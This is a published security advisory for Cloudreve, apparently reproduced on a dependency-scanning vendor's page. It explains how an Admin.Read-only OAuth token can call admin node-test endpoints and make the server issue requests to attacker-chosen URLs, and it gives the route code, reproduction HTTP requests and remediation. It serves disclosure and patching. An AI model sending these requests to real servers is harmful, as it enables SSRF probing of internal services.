Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-v6w6-358x-2433

MEDIUM

Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests

Published
Jul 24, 2026
Updated
Jul 24, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed

Blast Radius

2 pkgs affected
🐹github.com/cloudreve/Cloudreve/v4🐹github.com/cloudreve/Cloudreve/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Cloudreve exposes two admin node test endpoints under the Admin.Read OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for Admin.Read to trigger operational network actions that should require Admin.Write.

Impact

An attacker who obtains an admin-authorized OAuth token with Admin.Read but not Admin.Write can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.

Affected version

Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.

Technical details

The authenticated admin route group requires only Admin.Read:

auth := v4.Group("")
auth.Use(middleware.LoginRequired())
auth.Use(middleware.RequiredScopes(types.ScopeAdminRead))
admin := auth.Group("admin", middleware.IsAdmin())

The following routes are registered without ScopeAdminWrite:

node.POST("test",
    controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),
    controllers.AdminTestSlave,
)
node.POST("test/downloader",
    controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),
    controllers.AdminTestDownloader,
)

By contrast, node create, update, and delete routes do require Admin.Write:

node.PUT("", middleware.RequiredScopes(types.ScopeAdminWrite), ...)
node.PUT(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)
node.DELETE(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)

TestNodeService.Test() parses the attacker-supplied node server and sends a request to it:

slave, err := url.Parse(service.Node.Server)
...
res, err := r.Request(
    "POST",
    routes.SlavePingRoute(slave),
    bytes.NewReader(bodyByte),
    ...
)

TestNodeDownloaderService.Test() constructs a downloader from attacker-supplied node settings and invokes its network test method.

Reproduction

The following was verified against a disposable Cloudreve instance built from the affected commit.

Prerequisite: an admin user authorizes an OAuth client with Admin.Read but not Admin.Write.

  1. Obtain an OAuth access token whose scope is only:
openid Admin.Read

The returned token response contains:

{
  "token_type": "Bearer",
  "scope": "openid Admin.Read"
}
  1. Confirm the token cannot perform an Admin.Write node operation:
PUT /api/v4/admin/node HTTP/1.1
Authorization: Bearer <admin-read-oauth-token>
Content-Type: application/json

{
  "node": {
    "name": "deny-control",
    "server": "http://127.0.0.1:18080",
    "type": "slave",
    "slave_key": "poc"
  }
}

Observed response:

{
  "code": 40089,
  "msg": "Insufficient scope: Admin.Write"
}
  1. Use the same Admin.Read-only OAuth token to call the node test endpoint with an attacker-controlled server URL:
POST /api/v4/admin/node/test HTTP/1.1
Authorization: Bearer <admin-read-oauth-token>
Content-Type: application/json

{
  "node": {
    "id": 124,
    "name": "ssrf-poc",
    "server": "http://127.0.0.1:18080",
    "type": "slave",
    "slave_key": "attacker-controlled-key"
  }
}

Observed Cloudreve response:

{
  "code": 0,
  "msg": ""
}
  1. The canary server at 127.0.0.1:18080 received the backend request:
POST /api/v4/slave/ping HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Cloudreve/4.14.0
Authorization: Bearer Cr <hmac-signature>:<timestamp>
X-Cr-Node-Id: 124
X-Cr-Site-Url: http://127.0.0.1:15212
Content-Length: 37

{"callback":"http://127.0.0.1:15212"}

This proves the Admin.Read-only OAuth token is denied on a sibling Admin.Write route but can still trigger a server-side request to an attacker-selected node URL through the test route.

Root cause

The route group enforces Admin.Read by default and relies on per-route Admin.Write middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the Admin.Write set even though they execute server-side network actions using attacker-supplied configuration.

Remediation

  • Add middleware.RequiredScopes(types.ScopeAdminWrite) to both node test routes.
  • Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.
  • Audit other admin test endpoints for read-scoped side effects.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/cloudreve/Cloudreve/v4all versions4.0.0-20260626022735-332a9d800205
🐹Gogithub.com/cloudreve/Cloudreve/v3all versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/cloudreve/Cloudreve/v4. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/cloudreve/Cloudreve/v4 to 4.0.0-20260626022735-332a9d800205 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v6w6-358x-2433 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-v6w6-358x-2433 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-v6w6-358x-2433. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Cloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`. ## Impact An attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal servic
O3 Security · Impact-Aware SCA

Is GHSA-v6w6-358x-2433 in your dependencies?

O3 detects GHSA-v6w6-358x-2433 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.